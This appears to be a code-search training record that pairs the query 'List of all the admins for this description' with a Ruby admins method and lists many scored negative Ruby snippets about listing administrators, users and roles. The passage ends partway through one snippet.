[ "def delegating_method; end", "def around_method name, &block\n original_method = instance_method name\n _redefine_method name do |*args|\n instance_exec original_method, *args, &block\n end \n end", "def original_method; end", "def implement(method_name)\n method = @klass.instance_method(method_name)\n end", "def make_independent\n self.method = method.dup\n end", "def class_method2\n end", "def proxy meth\n Proxy.new self, meth\n end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end", "def public_class_method(*rest) end", "def method_of_instance; end", "def method_of_instance; end", "def method_of_instance; end", "def method_of_instance; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method_for(klass, meth)\n klass.instance_method(meth)\n end", "def method_missing(method_name, *args, &block)\n wrapped.send(method_name, *args, &block)\n end", "def class_method2\nend", "def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end", "def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end", "def a_method\n self\n end", "def unmemoized_instance_method(method_name); end", "def intersys_method(name)\n Method.new(database, class_name, name.to_s, self)\n end", "def method_missing(meth, *args, &block)\n if not @impl.nil? and @impl.respond_to?(meth)\n return @impl.send(meth.to_s, *args, &block)\n end\n # :nocov:\n return super\n # :nocov:\n end", "def method_missing(method_name, *args) self end", "def method_missing(method_name, *args) self end", "def bound_method(block); end", "def apply(klass, method)\n if klass.is_a?(String)\n return unless Object.const_defined?(klass)\n\n klass = Object.const_get(klass)\n end\n\n proxy = self\n original_method = \"_tainted_love_original_#{method}\"\n\n klass.class_eval do\n alias_method original_method, method\n\n define_method method do |*args, &given_block|\n proxy.handle(self, original_method, *args, &given_block)\n end\n end\n end", "def private_class_method(*rest) end", "def wrapper; end", "def define_class_method(name, &code)\n singleton_class.instance_eval { define_method(name, &code) }\n end", "def method(name=nil) # :nodoc:\n return name ? super : @meth\n end", "def wrapper(name); end", "def method_missing(meth, *args); end", "def instance_method(p0) end", "def doubles_by_method_name; end", "def method_missing(method, *args, &block)\n super unless original_self\n original_self.send method, *args, &block\n end", "def method_missing(method, *args)\r\n self.class.method_missing(method, *args)\r\n end", "def class_call(method_name)\n Scenario::Orchestrator.new(self, @mock_class_double, :class, method_name)\n end", "def method_missing(sym, *args, &block)\n @original_self.send(sym, *args, &block)\n end", "def method_missing(meth, *args, &block)\n if !(meth.to_s =~ /=/) and (suffixed_method = \"#{meth.to_s}__c\") and respond_to?(suffixed_method)\n send(suffixed_method)\n else\n super\n end\n end", "def method_missing(meth, *args, &block); end", "def method_missing(meth, *args, &block); end", "def method_missing(meth, *args, &block); end", "def method_missing(*args)\n result = nil\n orig = args.shift\n class_sym = self.class.name.to_sym\n m = orig.to_s[0,5] == '_DAV_' ? orig : \"_DAV_#{orig}\" # If hell is doing the same thing over and over and expecting a different result this is a hell preventer\n raise NoMethodError.new(\"Undefined method: #{orig} for class #{self}.\") unless respond_to?(m)\n @runner.call(class_sym, :before, orig)\n result = send m, *args\n @runner.call(class_sym, :after, orig)\n result\n end", "def magic\n self.class.magic(self)\n end", "def use_as_method\n @method = true\n end", "def run_one_method(klass, method_name, reporter); end", "def restore_instance_method(name)\n if respond_to?(\"#{METHOD_BACKUP_KEY}#{name}\")\n meta_eval {\n alias_method name, \"#{METHOD_BACKUP_KEY}#{name}\"\n remove_method \"#{METHOD_BACKUP_KEY}#{name}\"\n }\n end\n end", "def method_missing(method, *args, &blk); end", "def method\n @method\n end", "def public_class_method(arg0, arg1, *rest)\n end", "def method_missing(method, *args)\n class_for_number(args[0]).public_send(method, *args)\n end", "def method_missing(method, *args)\n class_for_number(args[0]).public_send(method, *args)\n end", "def method_missing(meth, *args, &block)\n\n end", "def method_one; end", "def method_symbol; end", "def add_method(instance, method_name)\n\t define_singleton_method(method_name) do |*args|\n\t instance.public_send(method_name, *args)\n\t end\n\t\tend", "def method_alias(klass, method)\n if klass.method_defined?(method.to_sym) ||\n klass.private_method_defined?(method.to_sym)\n\n with = \"#{method}_with_instana\"\n without = \"#{method}_without_instana\"\n\n klass.class_eval do\n alias_method without, method.to_s\n alias_method method.to_s, with\n end\n else\n ::Instana.logger.debug \"No such method (#{method}) to alias on #{klass}\"\n end\n end", "def old_method\n \"old improved method\"\nend", "def deprecated_method_alias(name, aliased_method, removal_in: nil, class_method: false)\r\n validate name => Symbol, aliased_method => Symbol, removal_in => [NilClass, String],\r\n class_method => [TrueClass, FalseClass]\r\n\r\n target = class_method ? self.class : self\r\n class_name = self.name\r\n\r\n unless target.method_defined?(aliased_method)\r\n raise ArgumentError, \"#{class_name} does not have method #{aliased_method} defined\"\r\n end\r\n\r\n delimiter = class_method ? '.' : '#'\r\n\r\n target.define_method(name) do |*args, **kvargs|\r\n alias_name = format('%s%s%s', class_name, delimiter, name)\r\n aliased_method_name = format('%s%s%s', class_name, delimiter, aliased_method)\r\n Deprecation.warn_method(alias_name, removal_in, aliased_method_name)\r\n method(aliased_method).call(*args, **kvargs)\r\n end\r\n end", "def method=(_); end", "def method_missing(method_sym, *args, &block)\n helper = get_helper(method_sym)\n helper.send(method_sym, *args, &block)\n end", "def method_missing(method_name, *args, &block)\n instance.send(method_name, *args, &block)\n end", "def method_missing(method, *args, &block)\n klass = class_for_api_command(method)\n\n return klass.new(@socket).send(method, *args, &block) if klass\n super(method, *args, &block)\n end", "def method_missing(method, *args, &block); end", "def re_define_class_method(name, &block)\n #klass = self.to_s\n metaclass.instance_eval do\n undef_method(name) if method_defined?(name)\n define_method(name, &block)\n end\n end", "def singleton_method_added(singleton_method_name)\n\n # Skip any methods that are excluded. See @@wrap_exclusions for more information.\n if @@wrap_exclusions.include?(singleton_method_name.to_sym)\n return\n end\n\n # A method that was once wrapped must now be in the excluded list, as well as it's alias.\n # This is to prevent infinite loop.\n @@wrap_exclusions << singleton_method_name.to_sym\n @@wrap_exclusions << \"old_#{singleton_method_name}\".to_sym\n\n # Because I am in a class method here, I need the special self.class_eval\n # in order to add new class methods. Because the names are part of a variable,\n # I use the HEREDOC so I can call alias_method and redefine the same method.\n #\n # * We create an alias so we can call the original method.\n # * We redefine the method by calling before and after callbacks.\n # * The before callbacks are skipped if they are already called without the after.\n # * The after callbacks are skipped if one of the method called a sibbling.\n # We only do the after callbacks when its the original methods that has finished.\n # * Any arguments and return values are perseved\n # * Methods that supports blocks are not supported.\n self.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1\n class << self\n alias_method :old_#{singleton_method_name}, :#{singleton_method_name}\n end\n def self.#{singleton_method_name}(*args)\n if time_to_call_before_methods?\n before_methods.each do |method|\n send(method)\n end\n end\n entering_wrap_method\n result = old_#{singleton_method_name} *args\n leaving_wrap_method\n if time_to_call_after_methods?\n after_methods.each do |method|\n send(method)\n end\n end\n result\n end\n RUBY_EVAL\n\n end", "def meth(arg1)\nend", "def alias_class_method_chain(target, feature)\n # Strip out punctuation on predicates or bang methods since\n # e.g. target?_without_feature is not a valid method name.\n aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1\n yield(aliased_target, punctuation) if block_given?\n alias_class_method \"#{aliased_target}_without_#{feature}#{punctuation}\", target\n alias_class_method target, \"#{aliased_target}_with_#{feature}#{punctuation}\"\n end", "def method_missing_with_wrapper(symbol, *args, &block)\n @element.respond_to?(symbol) ? @element.send(symbol, *args, &block) : method_missing_without_wrapper(symbol, *args, &block)\n end", "def test_Method_InstanceMethods_to_proc\n\t\tpass\n\tend", "def add_method_to(cls)\n cls.class_eval do\n def m; 'hello'; end\n end\nend", "def method\n @method\n end", "def method\n @method\n end", "def method_missing(m, *args)\n begin\n JavaObjectWrapper.wrap_java_object(@java_object.send(m, *args))\n rescue RuntimeError => e\n # The instance method failed. See if this is a static method.\n if not e.message.match(/^Fail: unknown method name/).nil?\n getClass.send(m, *args)\n end\n end\n end", "def append_value_to_class_method(method, value)\n old_value = send(method)\n new_value = old_value.dup << value\n redefine_class_method(method, old_value.frozen? ? new_value.freeze : new_value)\n end", "def restore_class_method(klass,method_name)\n restore_method_by_type(class << klass; self end,method_name,METHOD_TYPE_CLASS)\n end", "def method_missing(method, *arguments, &block); end", "def abstract_singleton_method(*names); end", "def on_success(_klass, _method); end", "def signature\n \"#{klass_name}#{method_name}\"\n end", "def mk_method(proc)\n @klass.send(:define_method, @method_name, proc)\n end", "def meth(arg1,arg2)\nend", "def meth(arg1,arg2)\nend", "def method_missing(meth, options = T.unsafe(nil)); end", "def alias_method(sym1,sym2) end", "def method_missing(method, *args, &block)\n self.class.define_proxy method\n send(method, *args, &block)\n end", "def create_abstract_instance_method(name); end", "def def_class(superklass=Object, methodname='result')\n cls = Class.new(superklass)\n def_method(cls, methodname, @filename || '(ERB)')\n cls\n end" ]
[ "0.7052142", "0.6796785", "0.67535836", "0.67271453", "0.665431", "0.6650893", "0.6632066", "0.65957004", "0.65957004", "0.6594876", "0.6557982", "0.6557982", "0.6557982", "0.6557982", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.64937437", "0.64344156", "0.64162797", "0.6312371", "0.6312371", "0.62935114", "0.6278679", "0.62742597", "0.62551725", "0.6248854", "0.6248854", "0.6243341", "0.6241696", "0.62260073", "0.62203205", "0.6200517", "0.61895233", "0.61837584", "0.6181561", "0.6179386", "0.6176676", "0.61712396", "0.6170665", "0.6160905", "0.6156366", "0.6145967", "0.61455214", "0.61455214", "0.61455214", "0.61316866", "0.6103533", "0.6102451", "0.60963887", "0.6096017", "0.6087581", "0.6077628", "0.6071062", "0.60634625", "0.60634625", "0.6052548", "0.60515255", "0.60509145", "0.6031923", "0.60144323", "0.60073876", "0.5993274", "0.5988435", "0.5984886", "0.5960302", "0.59595907", "0.5954065", "0.59451807", "0.594285", "0.59338474", "0.59260744", "0.5916678", "0.5905966", "0.5905584", "0.5897404", "0.5897404", "0.5894935", "0.5884208", "0.58789355", "0.58733284", "0.5872744", "0.5872329", "0.5862618", "0.5862515", "0.5850222", "0.5850222", "0.5845582", "0.584284", "0.58376163", "0.58357835", "0.58331364" ]
0.0
-1
Wrapper around class method of same name
def readers_join_table self.class.readers_join_table end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delegating_method; end", "def around_method name, &block\n original_method = instance_method name\n _redefine_method name do |*args|\n instance_exec original_method, *args, &block\n end \n end", "def original_method; end", "def implement(method_name)\n method = @klass.instance_method(method_name)\n end", "def make_independent\n self.method = method.dup\n end", "def class_method2\n end", "def proxy meth\n Proxy.new self, meth\n end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end", "def public_class_method(*rest) end", "def method_of_instance; end", "def method_of_instance; end", "def method_of_instance; end", "def method_of_instance; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method_for(klass, meth)\n klass.instance_method(meth)\n end", "def method_missing(method_name, *args, &block)\n wrapped.send(method_name, *args, &block)\n end", "def class_method2\nend", "def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end", "def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end", "def a_method\n self\n end", "def unmemoized_instance_method(method_name); end", "def intersys_method(name)\n Method.new(database, class_name, name.to_s, self)\n end", "def method_missing(meth, *args, &block)\n if not @impl.nil? and @impl.respond_to?(meth)\n return @impl.send(meth.to_s, *args, &block)\n end\n # :nocov:\n return super\n # :nocov:\n end", "def method_missing(method_name, *args) self end", "def method_missing(method_name, *args) self end", "def bound_method(block); end", "def apply(klass, method)\n if klass.is_a?(String)\n return unless Object.const_defined?(klass)\n\n klass = Object.const_get(klass)\n end\n\n proxy = self\n original_method = \"_tainted_love_original_#{method}\"\n\n klass.class_eval do\n alias_method original_method, method\n\n define_method method do |*args, &given_block|\n proxy.handle(self, original_method, *args, &given_block)\n end\n end\n end", "def private_class_method(*rest) end", "def wrapper; end", "def define_class_method(name, &code)\n singleton_class.instance_eval { define_method(name, &code) }\n end", "def method(name=nil) # :nodoc:\n return name ? super : @meth\n end", "def wrapper(name); end", "def method_missing(meth, *args); end", "def instance_method(p0) end", "def doubles_by_method_name; end", "def method_missing(method, *args, &block)\n super unless original_self\n original_self.send method, *args, &block\n end", "def method_missing(method, *args)\r\n self.class.method_missing(method, *args)\r\n end", "def class_call(method_name)\n Scenario::Orchestrator.new(self, @mock_class_double, :class, method_name)\n end", "def method_missing(sym, *args, &block)\n @original_self.send(sym, *args, &block)\n end", "def method_missing(meth, *args, &block)\n if !(meth.to_s =~ /=/) and (suffixed_method = \"#{meth.to_s}__c\") and respond_to?(suffixed_method)\n send(suffixed_method)\n else\n super\n end\n end", "def method_missing(meth, *args, &block); end", "def method_missing(meth, *args, &block); end", "def method_missing(meth, *args, &block); end", "def method_missing(*args)\n result = nil\n orig = args.shift\n class_sym = self.class.name.to_sym\n m = orig.to_s[0,5] == '_DAV_' ? orig : \"_DAV_#{orig}\" # If hell is doing the same thing over and over and expecting a different result this is a hell preventer\n raise NoMethodError.new(\"Undefined method: #{orig} for class #{self}.\") unless respond_to?(m)\n @runner.call(class_sym, :before, orig)\n result = send m, *args\n @runner.call(class_sym, :after, orig)\n result\n end", "def magic\n self.class.magic(self)\n end", "def use_as_method\n @method = true\n end", "def run_one_method(klass, method_name, reporter); end", "def restore_instance_method(name)\n if respond_to?(\"#{METHOD_BACKUP_KEY}#{name}\")\n meta_eval {\n alias_method name, \"#{METHOD_BACKUP_KEY}#{name}\"\n remove_method \"#{METHOD_BACKUP_KEY}#{name}\"\n }\n end\n end", "def method_missing(method, *args, &blk); end", "def method\n @method\n end", "def public_class_method(arg0, arg1, *rest)\n end", "def method_missing(method, *args)\n class_for_number(args[0]).public_send(method, *args)\n end", "def method_missing(method, *args)\n class_for_number(args[0]).public_send(method, *args)\n end", "def method_missing(meth, *args, &block)\n\n end", "def method_one; end", "def method_symbol; end", "def add_method(instance, method_name)\n\t define_singleton_method(method_name) do |*args|\n\t instance.public_send(method_name, *args)\n\t end\n\t\tend", "def method_alias(klass, method)\n if klass.method_defined?(method.to_sym) ||\n klass.private_method_defined?(method.to_sym)\n\n with = \"#{method}_with_instana\"\n without = \"#{method}_without_instana\"\n\n klass.class_eval do\n alias_method without, method.to_s\n alias_method method.to_s, with\n end\n else\n ::Instana.logger.debug \"No such method (#{method}) to alias on #{klass}\"\n end\n end", "def old_method\n \"old improved method\"\nend", "def deprecated_method_alias(name, aliased_method, removal_in: nil, class_method: false)\r\n validate name => Symbol, aliased_method => Symbol, removal_in => [NilClass, String],\r\n class_method => [TrueClass, FalseClass]\r\n\r\n target = class_method ? self.class : self\r\n class_name = self.name\r\n\r\n unless target.method_defined?(aliased_method)\r\n raise ArgumentError, \"#{class_name} does not have method #{aliased_method} defined\"\r\n end\r\n\r\n delimiter = class_method ? '.' : '#'\r\n\r\n target.define_method(name) do |*args, **kvargs|\r\n alias_name = format('%s%s%s', class_name, delimiter, name)\r\n aliased_method_name = format('%s%s%s', class_name, delimiter, aliased_method)\r\n Deprecation.warn_method(alias_name, removal_in, aliased_method_name)\r\n method(aliased_method).call(*args, **kvargs)\r\n end\r\n end", "def method=(_); end", "def method_missing(method_sym, *args, &block)\n helper = get_helper(method_sym)\n helper.send(method_sym, *args, &block)\n end", "def method_missing(method_name, *args, &block)\n instance.send(method_name, *args, &block)\n end", "def method_missing(method, *args, &block)\n klass = class_for_api_command(method)\n\n return klass.new(@socket).send(method, *args, &block) if klass\n super(method, *args, &block)\n end", "def method_missing(method, *args, &block); end", "def re_define_class_method(name, &block)\n #klass = self.to_s\n metaclass.instance_eval do\n undef_method(name) if method_defined?(name)\n define_method(name, &block)\n end\n end", "def singleton_method_added(singleton_method_name)\n\n # Skip any methods that are excluded. See @@wrap_exclusions for more information.\n if @@wrap_exclusions.include?(singleton_method_name.to_sym)\n return\n end\n\n # A method that was once wrapped must now be in the excluded list, as well as it's alias.\n # This is to prevent infinite loop.\n @@wrap_exclusions << singleton_method_name.to_sym\n @@wrap_exclusions << \"old_#{singleton_method_name}\".to_sym\n\n # Because I am in a class method here, I need the special self.class_eval\n # in order to add new class methods. Because the names are part of a variable,\n # I use the HEREDOC so I can call alias_method and redefine the same method.\n #\n # * We create an alias so we can call the original method.\n # * We redefine the method by calling before and after callbacks.\n # * The before callbacks are skipped if they are already called without the after.\n # * The after callbacks are skipped if one of the method called a sibbling.\n # We only do the after callbacks when its the original methods that has finished.\n # * Any arguments and return values are perseved\n # * Methods that supports blocks are not supported.\n self.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1\n class << self\n alias_method :old_#{singleton_method_name}, :#{singleton_method_name}\n end\n def self.#{singleton_method_name}(*args)\n if time_to_call_before_methods?\n before_methods.each do |method|\n send(method)\n end\n end\n entering_wrap_method\n result = old_#{singleton_method_name} *args\n leaving_wrap_method\n if time_to_call_after_methods?\n after_methods.each do |method|\n send(method)\n end\n end\n result\n end\n RUBY_EVAL\n\n end", "def meth(arg1)\nend", "def alias_class_method_chain(target, feature)\n # Strip out punctuation on predicates or bang methods since\n # e.g. target?_without_feature is not a valid method name.\n aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1\n yield(aliased_target, punctuation) if block_given?\n alias_class_method \"#{aliased_target}_without_#{feature}#{punctuation}\", target\n alias_class_method target, \"#{aliased_target}_with_#{feature}#{punctuation}\"\n end", "def method_missing_with_wrapper(symbol, *args, &block)\n @element.respond_to?(symbol) ? @element.send(symbol, *args, &block) : method_missing_without_wrapper(symbol, *args, &block)\n end", "def test_Method_InstanceMethods_to_proc\n\t\tpass\n\tend", "def add_method_to(cls)\n cls.class_eval do\n def m; 'hello'; end\n end\nend", "def method\n @method\n end", "def method\n @method\n end", "def method_missing(m, *args)\n begin\n JavaObjectWrapper.wrap_java_object(@java_object.send(m, *args))\n rescue RuntimeError => e\n # The instance method failed. See if this is a static method.\n if not e.message.match(/^Fail: unknown method name/).nil?\n getClass.send(m, *args)\n end\n end\n end", "def append_value_to_class_method(method, value)\n old_value = send(method)\n new_value = old_value.dup << value\n redefine_class_method(method, old_value.frozen? ? new_value.freeze : new_value)\n end", "def restore_class_method(klass,method_name)\n restore_method_by_type(class << klass; self end,method_name,METHOD_TYPE_CLASS)\n end", "def method_missing(method, *arguments, &block); end", "def abstract_singleton_method(*names); end", "def on_success(_klass, _method); end", "def signature\n \"#{klass_name}#{method_name}\"\n end", "def mk_method(proc)\n @klass.send(:define_method, @method_name, proc)\n end", "def meth(arg1,arg2)\nend", "def meth(arg1,arg2)\nend", "def method_missing(meth, options = T.unsafe(nil)); end", "def alias_method(sym1,sym2) end", "def method_missing(method, *args, &block)\n self.class.define_proxy method\n send(method, *args, &block)\n end", "def create_abstract_instance_method(name); end", "def def_class(superklass=Object, methodname='result')\n cls = Class.new(superklass)\n def_method(cls, methodname, @filename || '(ERB)')\n cls\n end" ]
[ "0.7052142", "0.6796785", "0.67535836", "0.67271453", "0.665431", "0.6650893", "0.6632066", "0.65957004", "0.65957004", "0.6594876", "0.6557982", "0.6557982", "0.6557982", "0.6557982", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.64937437", "0.64344156", "0.64162797", "0.6312371", "0.6312371", "0.62935114", "0.6278679", "0.62742597", "0.62551725", "0.6248854", "0.6248854", "0.6243341", "0.6241696", "0.62260073", "0.62203205", "0.6200517", "0.61895233", "0.61837584", "0.6181561", "0.6179386", "0.6176676", "0.61712396", "0.6170665", "0.6160905", "0.6156366", "0.6145967", "0.61455214", "0.61455214", "0.61455214", "0.61316866", "0.6103533", "0.6102451", "0.60963887", "0.6096017", "0.6087581", "0.6077628", "0.6071062", "0.60634625", "0.60634625", "0.6052548", "0.60515255", "0.60509145", "0.6031923", "0.60144323", "0.60073876", "0.5993274", "0.5988435", "0.5984886", "0.5960302", "0.59595907", "0.5954065", "0.59451807", "0.594285", "0.59338474", "0.59260744", "0.5916678", "0.5905966", "0.5905584", "0.5897404", "0.5897404", "0.5894935", "0.5884208", "0.58789355", "0.58733284", "0.5872744", "0.5872329", "0.5862618", "0.5862515", "0.5850222", "0.5850222", "0.5845582", "0.584284", "0.58376163", "0.58357835", "0.58331364" ]
0.0
-1
List of all the admins for this description
def admins group_users(admins_join_table) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_admins\n self._get_reviewers(\"admin\")\n end", "def admins\n app_users.select(&:admin?)\n end", "def admins\n ::Syncano::QueryBuilder.new(self, ::Syncano::Resources::Admin)\n end", "def admins\n [self.user.email, self.study_shares.can_edit, User.where(admin: true).pluck(:email)].flatten.uniq\n end", "def list_admins\n service_response = ManagerManagement::Team::ListAdmins.new(params).perform\n return render_api_response(service_response)\n end", "def admins\n [self.user.email, self.user_annotation_shares.can_edit, User.where(admin: true).pluck(:email)].flatten.uniq\n end", "def admins\n # Use the where clause to return users who have admin column set to true (false by default)\n board_members.where(is_admin: true)\n end", "def get_admins\n\t\t@sm = Member.where(society_id: self.id)\n\t\t@admins = []\n\t\t@sm.each do |m|\n\t\t #if is an admin, add to array\n\t\t if m.admin then @admins << User.find_by_id(m.user_id) end\n\t\tend\n\t\treturn @admins\n end", "def other_administrators\n Administrator.where.not(['id = ? or is_super = ?',self.id, true]).order(:organisation).map {\n |t| ['%{org}: %{lname} %{name}'%{org: t.organisation, lname: t.info.last_name, name: t.info.name},t.id]\n }\n end", "def administrators\n adminrole = Role.find(:first, :conditions => \"#{self.class.primary_key}=#{self.id} AND name='Administrator'\")\n adminrole ?\n adminrole.users.select{|u| u.company==self} : nil\n end", "def admins\n User.where(id: memberships.admin.pluck(:user_id)).all\n end", "def index\n @admin_descriptions = Admin::Description.all\n end", "def admins\n contributors.where(admin: true)\n end", "def listAdmins\n\n @admins=Admin.order(\"admins.created_at DESC\")\n end", "def index\n administrators = Administrator.all\n admin_list = []\n administrators.each do |admin|\n admin_info = admin.attributes\n admin_info[:user] = User.find(admin[\"user_id\"])\n admin_info[:geofence] = Geofence.find(admin[\"geofence_id\"])\n admin_list << admin_info\n end\n @administrators = admin_list\n end", "def index\n @user_admins = UserAdmin.all\n end", "def administrators\n members.where(memberships: { role: 'admin' })\n end", "def index\n @admins = Admin.all\n end", "def index\n @admins = Admin.all\n end", "def index\n @admins = Admin.all\n end", "def index\n @admins = Admin.all\n end", "def index\n @admins = Admin.all\n end", "def index\n @admins = Admin.all\n end", "def index\n @administrators = Administrator.all\n end", "def index\n @administrators = Administrator.all\n end", "def index\n @administrators = Administrator.all\n end", "def list\n @admins = Admin.where(deleted_at: nil).order('id DESC').page(params[:page]).per(15)\n end", "def fetch_admins\n @admins = Admin.get_all_admins_from_memcache(@client_id)\n\n @admins.each do |admin|\n if admin.role == GlobalConstant::Admin.super_admin_role\n @super_admins[admin.id] = admin\n else\n @normal_admins[admin.id] = admin\n end\n end\n\n end", "def active_admins\n admins.select {|admin| circle.has_active_user?(admin) }\n end", "def active_admins\n admins.select { |admin| circle.has_active_user?(admin) }\n end", "def listAdmin\n super()\n updateModules()\n\n if @modulesUsed.include?(\"Autograde\") then\n autogradeListAdmin()\n end\n\n if @modulesUsed.include?(\"Scoreboard\") then\n scoreboardListAdmin()\n end\n\n if @modulesUsed.include?(\"Partners\") then\n partnersListAdmin()\n end\n \n if @modulesUsed.include?(\"Svn\") then\n svnListAdmin()\n end\n end", "def index\n @saas_admins = Admin.all\n end", "def admins( params={} )\n admins = get_connections(\"admins\", params)\n return map_connections admins, :to => Facebook::Graph::Admin\n end", "def index\n @admins = Admin.all\n\n\n\n\n\n end", "def get_admins_by_id\n return filter_by_id(get_admins)\n end", "def admin_labels\n labels = []\n if admin?\n labels << \"Admin\"\n else\n labels << \"User Admin\" if user_admin?\n labels << \"Moderator\" if moderator?\n end\n labels\n end", "def index\n restrict 'allow only admins' or begin\n @admins = Admin.find(:all)\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @admins.to_xml }\n end\n end\n end", "def index\n restrict 'allow only admins' or begin\n @admins = Admin.find(:all)\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @admins.to_xml }\n end\n end\n end", "def admin_ids\n @attributes[:admin_ids]\n end", "def clistadmins(m, channel)\n channel = m.channel if channel.nil?\n if is_supadmin?(m.user) || is_admin?(m.user) || is_chanadmin?(channel, m.user)\n m.reply \"The current admins are #{$adminhash[channel]}.\", true\n else\n m.reply NOTADMIN, true\n end\n end", "def index\n # @admins = admin.all\n @admins = Admin.order(:nome)\n end", "def index\n @admin_admins = Admin::Admin.page(params[:page]).per(15).load\n end", "def index\n @admins_organizations = Organization.all\n end", "def admin_display_fields\n admin.class.terminology.terms.keys - [:admin, :published_at, :edited_at, :template_name, :batch_id]\n end", "def index\n @world_admins = WorldAdmin.all\n end", "def admin\n @attributes[:admin]\n end", "def index\n @admins = Admin.accessible_by(current_ability, :index).limit(20)\n respond_to do |format|\n format.json { render :json => @admins }\n format.xml { render :xml => @admins }\n format.html\n end\n end", "def fetch_admins\n admin_objs = Admin.not_deleted.where(default_client_id: @client_id).order({id: :desc}).all\n admin_objs.each do |admin|\n @admin_user_count += 1\n @curr_page_data << {\n id: admin.id,\n name: admin.name,\n email: admin.email,\n status: admin.status,\n role: admin.role\n }\n end\n\n @can_invite_new_user = (@admin.role == GlobalConstant::Admin.super_admin_role && @admin_user_count < 20) ? true : false\n end", "def list_scope_admins(scope = {})\n role = find_role_by_name(\"admin\")\n list_scope_assigned_users(scope.merge(role: role))\n end", "def index\n @admin_n_admins = Admin::NAdmin.all\n end", "def list_ccadmins\n domain = domains(name: Rails.configuration.cloud_admin_domain).first\n return [] unless domain\n list_scope_admins(domain_id: domain.id)\n end", "def index\n @site_admins = SiteAdmin.all\n end", "def admin_users_stats\n get_admin_stats \"users\"\n end", "def admin_index\n authorize User\n @users = current_user.org.users.includes(:roles)\n end", "def recipients\n User.admins\n end", "def admin_count\r\n admins.size\r\n end", "def index\n @admin_users = Admin::User.all\n end", "def list_cloud_resource_admins\n domain = domains(name: Rails.configuration.cloud_admin_domain).first\n return [] unless domain\n project =\n projects(\n domain_id: domain.id,\n name: Rails.configuration.cloud_admin_project,\n ).first\n return [] unless project\n list_scope_resource_admins(\n { project_id: project.id },\n \"cloud_resource_admin\",\n )\n end", "def admin\n @userList = User.all\n end", "def admin_organization_stats\n get_admin_stats \"orgs\"\n end", "def index\n @adminstrators = Administrator.order(:name)\n end", "def show\n @admin = Admin.find(params[:id])\n @admins = Admin.all\n end", "def clistalladmins(m)\n if is_supadmin?(m.user) || is_admin?(m.user)\n m.reply \"The current admins are #{$adminhash}.\", true\n else\n m.reply NOTADMIN, true\n end\n end", "def index\n @administradors = Administrador.all\n end", "def index\n @api_v1_admin_types = Api::V1::AdminType.all\n end", "def admins\r\n AdminsController.instance\r\n end", "def administrators\n @users = User.admin.search_sort_paginate(params)\n end", "def index\n @adminusers = Adminuser.all\n end", "def index\n @admins = Admin.page(params[:page]).per(20)\n end", "def visible_users\n is_superadmin? ? User.all : title.users\n end", "def index\n @administrators = @administrators_active\n @administrators_count = @administrators.size\n end", "def info_for_edit_page\n @is_super_adm = is_super?\n\n if @is_super_adm\n # Loading Choosing of adm\n @admins = User.admins_list\n\n if @admins.empty?\n @mentors = [@admins]\n else\n employee = @user.client.employee\n if employee.present?\n @admins_cur = employee.employee_id\n @mentors_cur = @user.client.employee_id\n else\n @admins_cur = params[:administrator_id]\n @mentors_cur = 0\n end\n @mentors = User.mentors_list(@admins_cur, additional_users: User.all_local_admins)\n end\n elsif current_user.local_admin?\n @mentors = User.mentors_list(current_user.role_model.id, additional_users: [current_user])\n @mentors_cur = @user.client.employee_id\n end\n end", "def admin_labs\n self.roles.where(name: \"admin\", resource_type: \"Lab\")\n end", "def group_admins\n group.blank? ? [] : group.has_admins\n end", "def index\n @admin = Admin.all\n end", "def index\n @admin = Admin.find_by(id: session[:admin_id])\n @admins = Admin.select_admins_to_show(@admin)\n end", "def index\n @admins = Admin.order(:email)\n authorize @admins\n end", "def index\n @admin_tags = @login_author.tags\n end", "def admin()\n @data[\"access\"][\"user\"][\"roles\"].each do |role|\n if role[\"name\"].eql?(\"admin\")\n return true\n end\n end\n return false\n end", "def admin_name\n self.user.name\n end", "def index\n authorize Admin\n @admins = initialize_grid(Admin.where(\"id != ?\", current_admin.id).order('id desc'), per_page: 10)\n end", "def index\n @admin_managers = Admin::Manager.all\n end", "def admin?\n roles.all.map(&:title).include?(\"admin\")\n end", "def admin\n @shell.admin\n end", "def setAdmins\n if(File::exist?(\"#{@ch}.txt\"))\n fh = File::open(\"#{@ch}.txt\", \"r\")\n @admins = fh.readlines\n \n else\n fh = File::open(\"#{@ch}.txt\", \"w\")\n @admins = []\n end\n fh.close\n @admins.each { |a| a.chop! }\n end", "def index\n if(!admin_signed_in?)\n redirect_back(fallback_location: root_path, notice: 'Acesso negado.')\n end\n @admins = Admin.all\n end", "def project_administrators\n people_with_the_role(Seek::Roles::PROJECT_ADMINISTRATOR)\n end", "def project_administrators\n people_with_the_role(Seek::Roles::PROJECT_ADMINISTRATOR)\n end", "def index\n @subadmins = Subadmin.all\n end", "def admin?()\n roles.each { |r| return true if 